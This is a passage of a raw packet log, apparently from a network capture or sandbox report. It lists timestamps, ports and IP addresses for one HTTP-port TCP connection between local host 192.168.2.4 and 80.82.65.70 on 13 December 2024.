Dec 13, 2024 08:36:34.402847052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.402888060 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.403645039 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.403690100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.403697968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.403737068 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.404525042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.404575109 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.404613018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.404654026 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.405420065 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.405463934 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.405567884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.405607939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.406321049 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.406392097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.406430006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.406471014 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.407205105 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.407298088 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.407350063 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.408087969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.408135891 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.408186913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.408226013 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.408972979 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.409029007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.409089088 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.409132957 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.409930944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.409961939 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.410008907 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.410804033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.410850048 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.410850048 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.410890102 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.411703110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.411753893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.411775112 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.411813021 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.412583113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.412642002 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.412770033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.412811995 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.413476944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.413527966 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.413589954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.413630962 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.414336920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.414395094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.414530039 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.414572954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.415263891 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.415370941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.415415049 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.416143894 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.416246891 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.416297913 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.417078018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.417133093 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.417217970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.417260885 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.417979002 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.418025970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.418050051 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.418092966 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.418813944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.418862104 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.418961048 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.419641018 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.419795990 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.419816017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.419855118 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.420664072 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.420741081 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.420770884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.420804977 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.421531916 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.421631098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.421653986 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.421684980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.422431946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.422534943 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.422574997 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.423336029 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.423382998 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.423444986 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.423489094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.512882948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.512933016 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.512999058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.513092995 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.513324976 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.513377905 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.513403893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.513420105 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.514226913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.514349937 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.514359951 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.514384031 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.515086889 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.515130997 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.572001934 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.572057009 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.572091103 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.572124004 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.572252989 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.572297096 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.572345018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.572375059 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.573107958 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.573148966 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.573204041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.573237896 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.574023962 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.574089050 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.574121952 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.574157953 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.574904919 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.574950933 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.575150013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.575381041 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.575783968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.575823069 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.575915098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.575953007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.576733112 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.576766968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.576812983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.577558041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.577687025 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.577694893 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.577734947 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.578461885 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.578510046 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.578608036 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.578681946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.579353094 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.579488993 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.579546928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.580236912 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.580281973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.580383062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.580425978 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.581149101 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.581171989 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.581212044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.582031965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.582081079 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.582133055 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.582171917 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.582937002 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.582978964 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.583026886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.583066940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.583846092 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.583888054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.583954096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.583992004 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.584783077 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.584845066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.584968090 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.585005999 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.585664034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.585746050 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.585938931 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.585980892 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.586504936 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.586545944 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.586653948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.586800098 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.587409019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.587476015 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.587522984 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.587564945 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.588339090 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.588409901 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.588449955 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.589183092 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.589221954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.589281082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.589404106 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.590094090 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.590230942 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.590266943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.590989113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.591026068 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.591059923 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.591094971 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.591891050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.591936111 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.592026949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.592127085 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.592818975 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.592864990 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.592952013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.592997074 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.593693018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.593858004 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.593864918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.593920946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.594578981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.594753981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.594806910 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.595572948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.595619917 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.595695972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.595733881 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.596359968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.596407890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.596470118 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.596514940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.597301006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.597440958 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.597482920 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.598150969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.598191023 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.598612070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.598650932 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.599020004 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.599062920 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.599272013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.599320889 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.599936008 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.599992037 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.600039005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.600079060 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.600846052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.600883007 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.600893974 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.600919962 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.601778030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.601823092 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.601881981 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.601923943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.602734089 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.602920055 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.602963924 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.603497028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.603548050 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.603602886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.603638887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.604383945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.604429007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.604566097 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.604604006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.605324030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.605367899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.606132030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.606177092 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.606215954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.606256008 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.606408119 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.606456995 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.607129097 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.607173920 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.607280970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.607321024 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.608103037 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.608151913 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.608202934 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.608243942 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.608913898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.609002113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.609045029 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.609760046 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.609816074 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.609824896 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.609864950 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.610686064 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.610727072 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.610747099 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.610789061 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.611541033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.611582041 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.611608982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.611654043 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.612457037 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.612508059 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.612649918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.612808943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.613346100 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.613390923 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.613487959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.613718033 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.614217043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.614288092 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.614336014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.614399910 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.615134954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.615241051 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.615276098 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.615323067 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.615968943 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.616010904 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.704859972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.704916954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.705025911 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.705064058 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.705305099 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.705351114 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.705467939 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.705506086 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.705554008 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.705621958 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.706419945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.706432104 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.706480026 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.706504107 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.707319021 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.707364082 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.770191908 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.770276070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.770334005 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.770365953 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.770459890 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.770551920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.770591974 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.771328926 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.771373034 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.771409988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.771452904 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.772262096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.772305965 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.772372007 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.772419930 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.773118019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.773159027 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.773224115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.773266077 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.774004936 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.774044991 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.774105072 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.774148941 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.774887085 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.775046110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.775091887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.775790930 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.775835991 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.775913000 CET	80	49772	80.82.65.70	192.168.2.4
